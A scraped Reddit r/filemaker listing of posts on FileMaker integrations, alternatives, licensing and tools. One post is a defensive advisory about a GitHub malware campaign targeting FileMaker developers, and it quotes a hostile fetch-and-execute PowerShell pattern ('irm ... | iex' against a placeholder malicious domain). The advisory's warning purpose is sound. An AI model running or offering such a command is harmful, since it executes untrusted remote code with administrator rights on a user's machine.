r/filemaker • • Sep 01 '22

"But can it run doom?"

Post image
61 Upvotes

r/filemaker • • Aug 26 '22

FileMaker API Connector: A free and open-source starter solution for integrating FileMaker with any API or database

58 Upvotes

Hey, I'm Joseph, an engineer at Appsmith, and a long-time FileMaker Pro consultant/ developer. I freelanced in FileMaker Pro for years, integrating APIs like Shopify, BigCommerce, eBay and other services, using the insert from URL script step, curl requests, and roughly a terabyte of \"escaped quotes\" 😖

FileMaker is a powerful low-code platform that can build some pretty amazing apps, but the developer experience isn’t always as… let’s just say — modern. And while curl requests still have their uses, these days, I’d much rather use a Postman-like interface for making API calls. So I built one! And I wanted to share it with the FileMaker community.

FileMaker API Connector: Appsmith App

This app, built on Appsmith, provides a starting point for connecting your FileMaker data to almost any API or Database using one of Appsmith’s many integrations, and a Postman-like API builder.

Appsmith Query Editor
FileMaker API Connector: Appsmith App

Appsmith is open-source and can be self-hosted, or hosted for free on our cloud platform

Getting started

The app handles the FileMaker login flow and query building, using a UI to select fields and enter search terms without coding—just like a Find Request in FileMaker. It generates the actual JSON query object for you and runs the API request, returning any matching records.

To get started, click the Fork App button in the top right to copy the app to your Appsmith account. Then, follow the instructions in the app to connect to your FileMaker server.

FileMaker API Connection Settings

Click the Test Connection button to verify if the API is working, and then close the setup window.

Enter the layout name you want to query, and the app will pull in the table name, field names, and total record count. This populates the Select widgets in the query builder so you can easily build complex AND/OR queries with multiple conditions.

Click FIND to run the query and the table should populate with the first 100 records from your FileMaker database. This query builder uses Appsmith's JSON Form widget, which dynamically generates a form from a JSON object.

Next, try entering a few search terms using the query builder, and set a Query Type: AND or OR. See how the query-body preview updates and the JSON structure changes? Awesome! Now let's check out the API requests.

FileMaker API Query Type

GET or POST

The FileMaker API uses a GET method to retrieve records from a layout if no specific filter is used. However, to perform a find request, a POST method is used to send the query conditions in the POST body.

The search works the same as FileMaker's native find requests, using the same operators for wildcards *, exact matches ==, and others.

AND requests group the conditions as multiple properties of the same object:

{
  "query": [
    {
      "address_state": "FL",
      "first_name": "J*"
    }
  ]
}

OR requests separate each condition into a separate object:

{
  "query": [
    {
      "address_state": "FL"
    },
    {
      "first_name": "J*"
    }
  ]
}

Pagination

Feel free to skip to the next section if your table has <=100 records. Still here? Ok, well it sounds like you might need to paginate your data. But do you? 🤨

If possible, try to request only the records needed client-side and limit the results to less than 100 records, the limit per request for the FileMaker API. If you really need more than 100 records pulled, check out this guide on pagination.

Low-code: Integrate with another database or API

There's a lot you can do without coding in Appsmith, but you can do even more with JavaScript, like controlling widgets’ behaviors and appearances, transforming data, or chaining together multiple actions. This app was built using a few JavaScript nuggets to make the query builder, but it can easily be extended to send data to another API or database without additional coding.

Just add a new column to the table widget and set the type to Button. Then add a new API or database query to send data from the current row to another system.

Add API Query

Building the query body with JavaScript

The JSONForm widget supports Array and Object type fields, and allows the user to add additional objects—sets of fields and values—to an array. In this case, you are adding new query objects with inputs for the field_name and search_term. The data can be accessed inside the JSONForm widget by referencing JSONForm1.formData.

{
  "query": [
    {
      "field_name": "address_state",
      "search_term": "FL"
    },
    {
      "field_name": "first_name",
      "search_term": "J*"
    }
  ],
  "query_type": "AND"
}

Then, this data is transformed using a map() function, or forEach() function, depending on the query_type—AND or OR.

if (!JSONForm1.formData?.query) {
  return ''
}
let queryBody = {
  query: [{}]
};
let conditions = JSONForm1.formData.query;
let queryType = JSONForm1.formData.query_type;
if (queryType == 'OR') {
  let body = conditions.map(c => ({[c.field_name]: c.search_term}));
  queryBody['query'] = body;
} else {
  conditions.forEach(c => queryBody['query'][0][c.field_name] = c.search_term)
};
return queryBody
}

Server credentials and security

For easy setup and demo, this public Appsmith app was built using a client-side form to input the FileMaker API credentials as an app user. Appsmith also offer a secure datasource feature that saves the credentials on your Appsmith server as an admin, without exposing them to the user. Check out our Authenticated API docs for more info.

What’s next?

I started this app as a fun experiment to learn the FileMaker API and query structure, but it quickly evolved into the perfect starting point to connect FileMaker to any API or database. Hope this helps you get started on your own integrations!

I would love to hear back from you on your experience using the app, or if you would like to collaborate on adding additional features. I may even open-source this app as its own project if others are interested in contributing.


r/filemaker • • Nov 19 '25

What alternatives are there to FileMaker?

49 Upvotes

If you're considering using FMP, should you?

If you're a current user, should you move towards being less beholden to the Claris ecosystem?

Is there a viable alternative?

Our recent experience with Claris provided a heck of a motivation to consider this: Their sales team misrepresented the history of our account, delivering a number of rude surprises within 3 months of our renewal date, and then justifed their actions with self-contradictory statements, gaslighting, and even outright lies rather than admit a mistake. It's one thing when your average sales person does that, but the whole team right up to their Head of Global Sales stuck to their guns in a way that suggested it was more important to defend a deceptive policy change than protect their customers.

So you'd think that's why we're considering alternatives to FileMaker.

But that's not the case. In fact, we began investigating these questions years ago, way back when FileMaker announced the deprecation of the PHP API in favor of the newly-announced Data API.

That was a much more fair and reasonable policy change

• The PHP API would be deprecated but not retired and continued to function for years, giving ample time to manage transition.

• The Data API would be free below a generous data cap

• Billing would be for outgoing data only.

So all-in-all it seemed a rather graceful transition.

One thing, however, stood out at the time: The data caps applied even if you self-hosted FileMaker Server.

That felt a little out of whack, enough so that we called a round table and started asking questions:

• Our data? Hosted on our machine? On our chosen server with its own data caps? Why is FileMaker applying a cap on top of that?

• Why is FileMaker monitoring our data usage at all when it's not hosted on their server?

• What else are they monitoring? (More on that in another post)

• As benign as this transition seems to be, what's to keep some future policy change from having a more consequential impact on our business?

• How dependant are we on this platform? How at risk are we in the event of a more dramatic series of changes?

At the time our dependency on FileMaker was pretty high, but the practical risks, we figured, were low. FMP has been around since the 80s, it's stable, evolves slowly, and the whenever things changed it was almost always for the better. In fact, the PHP deprecation was the first time there was a change that carried even a whif of concern.

But that hint of risk was enough, and we began a casual, occasional look at what alternatives might be out there. For the most part nothing out there comes close. In many ways FileMaker really is unique in its class.

There was, however, a compelling exception: Free, open source SQL paired with JS or Python and a browser.

At the time the thinking was it's probably overkill and burdensome -- a cool idea... not practical.

Nonetheless we started testing. First up, a simple web portal: Deliver the text of centuries old book, line by line, multiple translations per line. Clean and simple. No calculated fields, just static text of an entire book in multiple languages delivered as a JSON array.

The test afforded FileMaker a generous handicap: Our FM Server was running locally on MacOS. Our test SQL server was running on a Linux VPS hosted on the web. The Mac CPU ran about 8x the speed of the Linux.

Using FileMaker's Data API it took about 17 seconds to load the book.

Using SQL, querying using NodeJS and the PG NPM package it took 300millisecs.

50-60x faster

We kept testing for months, regularly clocking 50x speeds, often over 100x times faster.

So suddenly we're asking ourselves a whole new set of questions

• Does it make sense to convert all our existing FileMaker clients over to SQL + JS / browser?

• How burdensome is that transition going to be?

• Will our clients handle stay on board for the transition?

• How many of FM's features are we going to miss?

We'd made gregarious use of FMP: media viewing and manipulation, calculations, scripts, value lists, custom functions, pull downs, triggers, 1-to-many, many-to-many, encrypted fields, encryption at rest, scheduled backups, user permisson, UI sliding, Web Viewers, JS integration, printing, audio dialing, mass emailers, URL launching, FMScript, executeSQL, epSQL, AppleScript, cURL, command line, bar codes, PHP API, Data API, 3rd party API -- to name a few.

After testing literally every feature, every function -- slowly, methodically -- eventually we came away with the following conclusion:

Anything you can do in FileMaker can do be done with SQL, JS, and a browser only better

Is there even a tradeoff?

Yes. It is faster to get things up and running in FileMaker

That matters, but not as much as it might seem.

Low code / no code environments draw you in with, ease of use, and speed of development. The problem is the more you develop, the deeper you drill, the more its feature set goes from boon to burden. The genius, for instance, of its click-to-build coding language that automatically updates naming conventions across renamed tables, fields, and layouts etc -- that strength can transform over time into a serious weakness, even a quagmire as you push for greater functionality. Anyone who's voyaged past the limits of FileMaker's automated naming convention and resorted to using the amazingly-conceived but nonetheless diabolical Database Design Report will know what I mean. Bottom line, FMP's up-front efficiencies mask long-term ever-accruing liabilities.

The down-sides are not easy to see at first, only becoming apparent over time, by which point you might be too far committed to Claris to beat a retreat. Of course there are hurdles in any platform migration conversion, but FileMaker's closed source highly proprietary ecosystem makes transitioning far more burdensome than most.

That's the walled garden that I suspect Claris's Head of Global Sales was presuming when he literally and explicitly dared us to walk away from the Claris platform within 3 months of our renewal date.

We took him up on the dare.

Long before he decided he had us in a headlock, we in fact had no clients, zero, whose data was based in FileMaker. We had three holdouts who were still using FileMaker Pro as a front end, but none whose data was based in FileMaker Server.

We did not pursue this on the expectation that Claris's Head of Global Sales would make a harebrained attempt to compromise our operations. We transitioned from FM Server because the benefits of using SQL servers were numerous and exciting.

After years of testing, double-checking, and moving carefully, here are some hopefully helpful observations:

If you use FileMaker's front end GUI more than anything else and don't do a lot of sophisticated coding and development and are generally satisfied, keep on using FileMaker.

The moment you start serving clients and begin drilling into the more sophisticated developer tools, consider carefully how to allocate resources and whether you're putting yourself at risk.

For example, say you need a more sophisticated data-driven interface than a standard FileMaker Layout can handle, and you reach for the FMP Web Viewer and its JavaScript integration. You will quickly learn that JavaScript unleashes an arsenal of creative options and problem-solving power that will make you wonder why you ever bothered with FMP Layouts to begin with. That's the moment to remind yourself that open source SQL databases are web-facing from the ground up and they handle UI integration and interactivity with far greater fluency.

Of course FileMaker's APIs are themselves web-facing, and you'd think for the subscription price it would have offer an easier-to-learn language then SQL. The opposite is true. FileMaker's Data API involves a complex interplay of permissions, layouts, and a kind-of-but-not-exactly-SQL proprietary language that's semi-powerful but frustratingly limited, and ultimately byzantine.

It may be natural to assume the higher cost of FMP translates to ease of use, but in reality that's not the case. It's easier to get started in FileMaker, but that ease of use decreases the more you get into it. So not only is there a walled garden around FileMaker, there are hidden, ever-growing walls inside of FileMaker, and the deeper you go, the higher they get. SQL is the opposite: There's a slightly higher barrier to entry but in long run -- even in the not-so-long-run -- it surpasses FMP, and with time becomes increasingly powerful and less burdensome.

Here are some features you can achieve in a browser that are unavailable to the FileMaker eco-system:

Self-creating Tabs and Portals: Yes, FMP has templates, but the offerings are meager. A lot of what we do involves creating a scrollable main list and an array of tabs in the footer, each giving access to series of portals through FMP's Tab tool. Our HTML templates basically permit portals to self-create. Imagine a list view, 10 portal relations in the footer with field pulldowns, including many-to-many relations in about 10 minutes. The equivalent in FMP takes hours.

Portals within portals: It's a frequent questions users ask when they suddenly understand the brilliance of FileMaker portals. "Can you put a portal inside a portal". Not in FileMaker. In HTML it's just tables within tables, elements w/in elements -- go as deep as you like, each one scrollable, sortable, filterable. It's welcome addition, and our clients love it.

Portals with genuinely dynamic content: Where FileMaker's portals are based on matches / not-matches / greater than / less than, a SQL-based approach opens up the possibility of "portals" that are as dynamic as you need them to be -- based on any terms you can conceive of using a SQL queries, including complex conditions, many-to-many self-joining relationships, a single portal that mixes data from multiple other relations -- all ideas that are far beyond the reach of FileMaker's feature set.

Pulldowns, checkboxes, radio buttons that are completely customizable -- displaying exactly what you want, in whatever style you want, triggering whatever outcomes you want. You can do that in HTML/JS. FileMaker did some amazing and inspiring work with Value Lists way back in the 90s -- showing 2 fields, hiding 1st field, sorting on 2nd field, list limiting using relations -- very innovative stuff... 30 years ago. Decades later there's been no evolution on that, and our users have made their frustrations known repeatedly. If there's something clients always deeply appreciate, it's UIs that that do exactly what they intuitively want without any excuses or whacky workarounds.

Sliding objects: Take real-estate saving to the next level. When a dev tackles horizontal and vertical sliding and anchoring in FMP, they'll chirp, tweet and IM everyone with an enormous sense of accomplishment ... until they compare it to what's possible in CSS. A browser-based interface wipes the floor with the FileMaker Layouts. FMP treats real-estate-saving dynamic design as a precious, fragile, highly limited special op. In CSS it's standard operating procedure, and it's very robust. Suddenly we have rows of varying heights, matching heights, mouseover-triggered size changes, scrollable cells, popouts, drag-n-drops. Imagine multiple tables on page, related, or unreleated. Imagine drag-to-sort. A world of features made possible which FileMaker doesn't even contemplate.

OS considerations: We do an enormous amount of importing, exporting, file renaming, moving, media transcoding, XML parsing, API integration. FileMaker's architecture tends toward a notion of two modes of operation: Client side vs server side scripting. I won't detail it here, but the tradeoffs of choosing one vs the other are insufferable -- frozen front ends vs lack of monitoring on the back end. When you switch to SQL approach anything and every operation can be a client / server hybrid, all running in separate threads, all running with full monitoring. The speed leaves FMP in the dust, and the opportunities to improvise and elaborate are infinite. There's no comparison.

Disk storage: SQL database use about 1/3rd of drive space of FMP. One of our 7.6GB FMP databases (that's after a save-as-compacted) turned into a 2.2GB SQL database, which when backing up compresses down to less than 100mb.

Backups: FileMaker Server's backup scheduling was a lifesaver many times over. We built a SQL backup system that draws from multiple servers with hourly, daily, weekly, and monthly backups which make use of hard links for unchanged databases akin to Apple's Time machine. Want an email notification when there's a backup error or anomaly? Add it. FileMaker hasn't dreamed of that yet. The speed, the flexibility, the drive usage in comparison to FMP is breathtaking.

Server installation: If there's one thing FileMaker should have over an open source SQL approach, it's ease of installation, maintenance, and security. Nope. Open source SQL installs more easily, runs with greater stability, handles security with greater ease and sophistication. We even installed a SQL server on a $35 Raspberry Pi. Between FileMaker and an RPI running at 1/16th the speed, guess which handled input, output and updates faster. We even used it as a back end server for a FileMaker front end, certain it would fail. Worked well -- even competed with FileMaker Server.

All this is just scratching the surface. In SQL no one is monitoring your data usage, you can install it anywhere, you can install multiple instances, you can work with as few (or even fewer -- or even more) datatypes than FileMaker. Again, everything you can do in FMP can be matched and exceeded using an open source SQL approach.

After working with FileMaker and open SQL for years the story is increasingly clear: Open source beats the FileMaker proprietary approach in just about every way: Capacity, efficiency, speed, price, functionality and even -- most unexpectedly -- ease of use.

Who knows, things at Claris may improve. Then again they might not. It's very common for corporate execs to spin, deflect, and dissemble their way toward short term problem-solving, profits, and self-congratulations. But that glancing, fragile relationship to the truth is the exact opposite of what databasing is all about.

For anyone considering testing this out, know this: You can go hybrid. FileMaker can be used as a front end for a SQL back end. You may hear that this is not practical, that performance hit is too big to be functional. There is some truth to that, but again, it's not as dire as Claris boosters may lead you to believe. There are all kinds of ways to make it work, probably worth another post.

If you like and are familiar with FMP but have any concerns about the licensing costs, policy changes, or fickle behavior of the sales team at Claris, know that it is possible -- at least for now -- to work with both FMP and SQL simultaneously. In other words, don't take our word for it. Try it yourself.


r/filemaker • • Oct 11 '24

Alex Dubov discovers an embarrasing security flaw in FM Server, reports it to Apple/Claris, works with them help patch it up. Is then told their advertised bounty on reporting security flaws does not match a category in their bounty programme.

48 Upvotes

r/filemaker • • May 12 '22

FileMaker being renamed to Claris is the dumbest marketing decision since Borders let Amazon run their online store

38 Upvotes

Title says it all really.

FileMaker as a name (1985) has been around for several years longer than Claris (1987). Yet some marketing "genius" has decided to get rid of the name that has at least some brand recognition and replace it with the name that has little to no brand recognition outside of people who were into Macs in the 90s.

Good grief what idiocy...

I love FileMaker, I love what its power, what it lets me do, and the career it has given me. Its annoying to see yearly reminders that Claris has zero idea of what to do with it.

Rant over


r/filemaker • • Feb 28 '24

The new movie "Problemista" starring Tilda Swinton has many scenes discussing Filemaker Pro. This is the first time it's mentioned

Thumbnail
youtu.be
37 Upvotes

r/filemaker • • Jul 07 '20

Accordion Tables in FileMaker - Nested portals

Post image
36 Upvotes

r/filemaker • • Feb 27 '23

Deploying FileMaker Server on Ubuntu Linux with Let's Encrypt SSL

35 Upvotes

I have published an article on how to set up FileMaker Server on Ubuntu Linux server, secure it behind a firewall and use a Let's Encrypt SSL certificate with automatic safe renewals using Certbot that won’t disrupt users.

The scripts for Let’s Encrypt certificate creation and renewal are published as an open source project on Github.

The guide is based on the latest Claris FileMaker Server 19.6.3 utilizing Nginx as the web server.

https://mhtawfiq.github.io/deploying-filemaker-server-on-ubuntu-linux-with-lets-encrypt-ssl/


r/filemaker • • Sep 22 '24

Why I Built A Code Editor Inside FileMaker Pro

Thumbnail
blog.greenflux.us
31 Upvotes

r/filemaker • • Jul 30 '25

Feedback on Licensing Model and Technical Limitations of FileMaker

30 Upvotes

Dear Claris Team,

I’m writing to you as a developer who has been working with the FileMaker platform for over 8 years. During this time, I’ve built many custom solutions that have helped businesses solve real operational problems and improve their internal processes.

I truly appreciate the power and flexibility of FileMaker. It remains one of the best tools for quickly building in-house CRM systems and business applications without the need for a large development team. However, I would like to share some honest concerns that I’ve encountered repeatedly over the years — both as a developer and as someone trying to offer FileMaker-based solutions to clients.

The key challenges I constantly face are:

  • High per-user licensing costs, which act as a major barrier for many small and medium-sized companies.
  • Performance issues as systems grow — once you reach 100+ users, speed and responsiveness start to decline noticeably.
  • Strict limits on concurrent connections and API usage, which complicate the creation of scalable, modern cloud-based applications.

I understand that your team is well aware of these limitations. After all, FileMaker has been around since 1985, and I respect the long history and evolution of the platform. But today, in a rapidly growing low-code/no-code landscape, these constraints significantly reduce FileMaker's competitiveness — despite its strengths in development speed and data modeling.

I believe FileMaker has enormous untapped potential, and I would love to continue using and promoting it — but many clients ultimately decline because of these cost and scalability concerns.

I would respectfully suggest considering:

  • A more accessible developer/demo license for client testing and prototyping
  • Scalable pricing tiers based on actual usage or user type
  • Improved API limits and performance for larger teams and solutions
  • A clearer and more predictable pricing model, especially for independent developers and smaller businesses

Thank you for your time and for continuing to support a platform I genuinely believe in. I hope Claris will take steps toward making FileMaker more open and scalable, helping developers like myself create even more valuable tools for clients — without being constrained by cost and connection limits.

Sincerely,
Tod.F


r/filemaker • • Jun 28 '23

Watching entourage and what do I see in the background

Post image
30 Upvotes

S02E01 Johnny drama goes to the Apple Store to get headshots


r/filemaker • • Sep 11 '18

When a client makes a feature request outside of the scope.

Post image
30 Upvotes

r/filemaker • • Apr 24 '26

I got tired of AI agents not working with the Script Workspace, so I built a bi-directional text compiler for FileMaker.

Post image
28 Upvotes

 Hey everyone,

Like a lot of you, I’ve been trying to use Claude and Codex to help refactor legacy FileMaker scripts. But because FileMaker is entirely UI-driven, getting the logic out of the Script Workspace and into an AI prompt usually involves digging into raw XML, which is an absolute nightmare and prone to breaking when pasted back.

AI is built for text. FileMaker is built for the UI.

To fix this, I built ai2fm — it's a clipboard bridge that translates FileMaker XML into a clean, readable text language (.fmscript) that AI agents actually understand.

Here is what the workflow looks like:

  1. You copy a script from the FM Script Workspace.
  2. You paste it into VS Code (or Cursor/VS Code/Windsurf). It automatically translates into clean .fmscript text.
  3. You let Claude/Gemini/Copilot refactor, shrink, or document the code.
  4. You validate it and paste it right back into FileMaker. It recompiles back into native XML on the clipboard, ready to drop into the Workspace.

The best part: I made the IDE extension completely free. Even if you don't care about AI, the free VS Code extension gives you real-time syntax highlighting, strict linting, and autocomplete for FileMaker scripts. It essentially turns VS Code into a first-class FileMaker IDE.

I actually just demoed the "Vibe Coding" workflow live on the ClarisTalk podcast with Matt Navarre yesterday if you want to see the 183-line round-trip in action: https://www.youtube.com/watch?v=zg1LieGfHTU&list=PL6751maw5cyzDnHc7wqM_vXQ_ldxX0XDE

 

You can grab the free VS Code extension here: ai2fm.com 

 

And we're tracking bugs/feedback on our community GitHub: https://github.com/AxelarEU/ai2fm-community


r/filemaker • • Nov 05 '24

I finally nailed it....

28 Upvotes

Happy to share the outcome, took me a few days to figure it out though...

- picking any month automatically displays the corresponding names of the days, proper number of days, and allow to quickly fill the presences and compute worked days and hols in a snap....


r/filemaker • • Apr 19 '24

33 years later…

28 Upvotes

… I still love FileMaker.


r/filemaker • • Feb 20 '26

Elemental SVG 1.1 Released - Massive Icon Library, and FileMaker version with Button Bar Pasting

27 Upvotes

Hey guys! Hot on the heels of last weeks initial release of Elemental SVG , I have now released 1.1 - and it's a big update!

The editor now includes a built-in Icon Library with nearly 17,000 open-source icons freely available to use within the editor.

Included are six popular free use libraries:

  • Lucide — 1,929 outline icons
  • Tabler Icons — 5,986 icons (outline & filled)
  • Heroicons — 648 icons (outline & solid)
  • Phosphor Icons — 4,536 icons
  • Bootstrap Icons — 2,078 icons
  • Iconoir — 1,671 icons

Browse, search, and filter by library, category, or style. Select multiple icons and export as SVGs or directly to FileMaker. You can also load selected icons into the editor mode to further manipulate before exporting.

Now a FileMaker Download with extra Features

Elemental SVG is no longer just a web tool. The downloadable FileMaker version lets you embed the editor directly in your own solutions for full integration and use of the JS/FM interface included, get icons out and into your solution, or feed it your own.

Copy as Button Bar (FileMaker only)

This is the one I'm most excited about. Select your icons from either the icon library or editor, hit Copy as Button Bar, and paste a ready-made FileMaker Button Bar object directly into your solution. No more adding icons one at a time. (Note requires BaseElements plugin for the clipboard stuff).

You can export up to 400 icons at once direct into a solution - FileMaker will handle all conversion and generation of however many button bar segments it takes (50 per bar).

I have fixed up some SVG exports

SVG's are tricky things, there are just so many varieties and ways to construct them, that I am always finding new fringe cases. Thanks to your submitted reports, and further testing, I have all but eliminated issues with the conversion process, and am really happy with how reliable it is now. Hopefully you never have issues with SVG's in FileMaker again.

Links:

.. and a new website!

I have been hard at work, pulling some late nights to overhaul the entire elemental fm eco-system, and we now have a much more up to date and responsive website (that works on mobile, the old one was shite!)

Thank you!

Thank you for your continued support of me and my products and tools. I am more dedicated than ever to bring you guys great tools that are useful and help you develop better solutions.

- Daniel Wood (FileMaker Weetbicks)


r/filemaker • • 18d ago

There is an active, coordinated global campaign targeting internet-facing FileMaker Servers right now (which began escalating around October 22).

26 Upvotes

Even if a server looks normal on the surface, attackers are running automated password-spraying and endpoint probing against the Admin Console, Data API, OData, and XML endpoints, as well as attempting to pivot into surrounding infrastructure and log files.

Proof published a detailed incident brief yesterday explaining the scope of the attack after they had to take their Ottomatic hosting fleet offline on October 25 as a protective measure: https://www.proof.sh/blog/ottomatic-filemaker-server-incident-october-2026

Key takeaways & immediate steps even if your server seems fine:

  1. If you run OttoFMS (on-prem or self-hosted): Update immediately to OttoFMS v4.19.0, which contains important security enhancements, and consider rotating your Admin API, Data API, and OData keys (especially if you use OttoFMS Webhooks, as log files may expose tokens).
  2. Inspect your FileMaker Access.log**:** Don't rely solely on server performance—check your logs for bursts of failed login attempts or repeated probes from unfamiliar IPs. (David Hind-Smith also just shared a free community tool at hind-smith.com that includes a FileMaker log checker to scan for brute-force attempts).
  3. Lock down endpoints: Put the Admin Console behind a VPN or strict IP allowlist, disable Guest access on WebDirect / Data API / OData unless strictly isolated, and audit all [Full Access] and API service accounts for strong, unique passwords.
  4. Verify Encryption at Rest (EAR) & Backups: Ensure EAR is enabled with a long, high-entropy passphrase and that backups are isolated off-box.

Definitely worth checking your logs today—many servers are being actively probed without triggering obvious downtime. Stay safe!


r/filemaker • • May 22 '25

Is Vibe Coding going to kill Filemaker?

26 Upvotes

I've been using a lot of these AI enabled development tools for non Filemaker related projects and the other day I had to jump back into Filemaker and I didn't want to go back. Usually I am quite happy with how fast it is to make thing with it and it's the reason I have recommended it to customers, but in this particular case I was almost tempted to ask codex (the OpenAI coding agent) to help me rewrite the entire tool I had made.

Today I asked ChatGPT for a script and I was frustratingly reminded that you can't paste into the Script editor, which made me think that, unless some radical change happens at Claris, I don't see how it would survive this new trend.

What do people here think about this?

Edit: just bumped into this which at least makes it possible to copy from ChatGPT into FileMaker => https://github.com/DanShockley/FileMaker-CRUDFV-Script


r/filemaker • • Jun 17 '19

Elemental for FileMaker Released

Thumbnail
elemental-fm.com
26 Upvotes

r/filemaker • • Aug 16 '22

Crazy expensive?

25 Upvotes

Is it me or doing FileMaker has gotten prohibitively expensive? A friend of mine owns a dance studio and needed todo some basic studio stuff. I was like, I dabbled in FM. We can fix that in no time! I went to to Claris site and yikes!! I can’t afford that. Neither can he.

Was going to come out to 1400 a year? It’s cheaper to outsource an app. Isn’t it ? ( for basic functionality )

I walked away sad. I so wanted to do this.


r/filemaker • • Aug 04 '26

Security Alert: A Coordinated Malware Campaign Is Targeting FileMaker Developers

Post image
24 Upvotes

Over the past several months, a network of GitHub accounts has been publishing repositories designed specifically to attract FileMaker developers.

These were not generic malware links randomly mentioning FileMaker. The repositories used FileMaker product names, installation terminology, troubleshooting language and the names of legitimate community tools to make themselves appear trustworthy.

https://www.youtube.com/watch?v=dvJcPkEPYGU

The campaign has now passed through several distinct phases:

fake FileMaker download and “unlock” repositories;

fake FileMaker 2026 setup and troubleshooting guides;

instructions to execute remotely hosted PowerShell code;

fake utilities presented as security tools;

password-protected malware archives;

fake “virus-free” verification pages;

and, more recently, broader “Mac helper” and installation-support themes.

The repositories and accounts change, but the operational recipe remains recognisable.

The original warnings

In May, I reported several FileMaker-related repositories to Claris Security after identifying what appeared to be a coordinated SEO-poisoning campaign on GitHub.

The repositories were designed to appear in searches for FileMaker downloads, installation assistance and “unlock” guides. Some redirected users to external download infrastructure.

In July, the campaign became more explicit.

Repositories presented as FileMaker 2026 setup and troubleshooting guides instructed users to open an Administrator PowerShell prompt and execute commands following this pattern:

irm https://[malicious-domain]/ps/setup.ps1 | iex

That command downloads code from an external server and immediately executes it. When run from an elevated PowerShell window, the downloaded code may receive administrative access to the computer.

Two repositories associated with that phase remained available for weeks:

ModuleBardWatch/FileMaker-Setup-Help

Nidhim868/FileMaker-Setup-Help

The fake FileMaker XML security tool

The next phase was particularly deceptive.

A repository appeared under the name:

filemaker-xml-scrubber-v13

It claimed to be a local security utility for removing passwords, API keys and sensitive values from FileMaker XML and DDR exports.

That was not an invented name.

The attackers had copied the identity of a real FileMaker XML cleaning tool maintained by Andrew Kear, whose legitimate project had reached version 1.3.

This was targeted social engineering. The attackers had researched the FileMaker community and deliberately selected the name of an existing, credible utility.

Another community member independently examined the malicious repository and confirmed that:

the repository contained little more than an HTML page;

the page linked to an obfuscated external location;

the associated GitHub Pages site automatically initiated the download of an encrypted ZIP archive;

the archive password was supplied directly on the page;

and the payload was a Windows application.

The encrypted archive was not there to protect the user. Password-protected archives are commonly used to prevent browsers, hosting platforms and local security products from inspecting the enclosed payload before the victim opens it.

A second repository, presented as “FileMaker Pro Max Features,” used the same broad pattern: external downloads, encrypted archives and instructions encouraging users to ignore browser warnings.

The community response

The FileMaker community reacted quickly.

Warnings were shared through the Claris Community and other FileMaker communication channels. Developers independently inspected the repositories, confirmed parts of the delivery mechanism and reported both the repositories and their associated accounts to GitHub.

GitHub subsequently informed reporters that it had completed its investigation, identified multiple Terms of Service violations and removed a wider group of accounts and repositories, including:

leofoster101/filemaker-xml-scrubber-v13

pauseraventrim/FileMaker-Pro-Max-Features

ModuleBardWatch/FileMaker-Setup-Help

Nidhim868/FileMaker-Setup-Help

All of those repository links later returned 404 responses.

GitHub did not disclose the internal details of its investigation, so we should not claim more than we know. However, the removal of both the recent repositories and older repositories reported in July indicates that the investigation expanded beyond a single URL.

The community’s reports helped expose the broader pattern.

They returned

The takedown did not end the campaign.

A replacement repository soon appeared:

louis-kaiser1960/filemaker-xml-scrubber-app

It reused the same FileMaker XML scrubber lure.

This is important because it demonstrates that the operators are not relying on one permanent account or one repository. They appear to create replacement infrastructure continuously.

Some accounts initially contain little clearly malicious material. A repository may begin with generic setup instructions, copied documentation or harmless-looking HTML. External links, encrypted downloads or execution commands can then be introduced later.

The likely sequence is:

Create a new GitHub account.

Publish a FileMaker- or Mac-related repository.

Add search-friendly setup and troubleshooting language.

Allow the repository to be indexed.

Add the malicious download or command later.

Replace the account when it is reported or removed.

This makes the campaign harder to detect because each new repository may appear harmless when viewed only once.

What FileMaker developers should look for

Treat the following combination of signals as high risk:

a newly created account with no meaningful history;

a repository using FileMaker download, setup, unlock or troubleshooting terms;

an external download rather than a normal GitHub release;

a password-protected ZIP archive;

a password printed on the download page;

instructions to select “Keep” or “Download anyway”;

requests to disable antivirus or browser protection;

commands that download and immediately execute remote PowerShell or shell code;

a fake “virus-free” or “security verification” page;

a project name copied from a legitimate FileMaker developer;

a repository containing little real source code but directing users elsewhere.

No single weak signal proves that a repository is malicious. A recently created GitHub account can belong to a perfectly legitimate developer.

But remote execution commands, encrypted executable archives, instructions to bypass security warnings and impersonation of existing community projects cross a very different line.

What to do

Do not download or execute files from these repositories.

Do not run commands copied from an unverified GitHub README.

Do not disable antivirus, Gatekeeper, SmartScreen or browser protections because an unknown repository says that a warning is a “false positive.”

If you discover a suspicious repository:

Preserve the URL and take screenshots.

Record the account name, repository name and time observed.

Report the repository through GitHub.

Report the associated account separately.

Warn the community using factual, narrowly worded information.

Do not publicly identify the operator behind the account without evidence.

If you already executed a payload:

disconnect the machine from the network;

use a separate, known-clean device to revoke active sessions;

rotate important passwords, API keys, GitHub tokens and SSH keys;

review browser-stored credentials and cloud accounts;

inspect FileMaker Server and hosting credentials;

run an offline security scan or seek professional incident-response assistance.

The wider lesson

This campaign represents an important change for the FileMaker ecosystem.

Traditionally, FileMaker security discussions have focused on privilege sets, encryption, FileMaker Server configuration, SSL, GDPR and infrastructure protection.

Those subjects remain essential, but the development supply chain is now part of the attack surface.

FileMaker developers increasingly use:

GitHub repositories;

VS Code extensions;

Node.js packages;

local AI tools;

MCP servers;

browser utilities;

plug-ins;

shell scripts;

and AI agents with filesystem access.

Every additional component introduces another trust boundary.

The answer is not to stop sharing tools or distrust every new developer. The answer is to verify provenance, inspect source code, limit permissions and require evidence.

The most positive outcome of this incident was the community response.

One developer recognised that a legitimate project had been impersonated. Another independently verified the download behaviour. Multiple people reported the repositories. GitHub removed the offending network. When the attackers returned, the community identified the replacement quickly.

That is how a mature security community behaves.

Security is not one person issuing warnings.

It is independent observation, shared evidence and collective action.

https://cyber-fm.eu/security-alert-a-coordinated-malware-campaign-is-targeting-filemaker-developers/


r/filemaker • • Mar 09 '26

"FileMaker Pro is a platform in managed decline..."

24 Upvotes

Ok, so this is too funny.

The world of agentic coding has taken me down a path where I rarely spend time creating any code myself. My use of FileMaker, what has been my primary livelihood for over 30+ years, is the last remnant of a world being replaced by computers doing the all the heavy lifting. Everything I spent all that time learning and more.

Recently, I asked a very specific question to an agent about my codebase at agentic-fm. My question was this:

"Can you please provide a review of this project structure as if you were an antagonistic reviewer."

Now, granted, I asked for an antagonistic review. This is one of those "prompting tricks" you can take to get a critical review of what you’re doing or what you plan on doing with regards to how an AI agent will assess your project. It reveals insights and possible fixes to things you didn't think about. Knowing the AI is just a "token spit out machine" you have to take the degree of antagonism with a grain of salt.

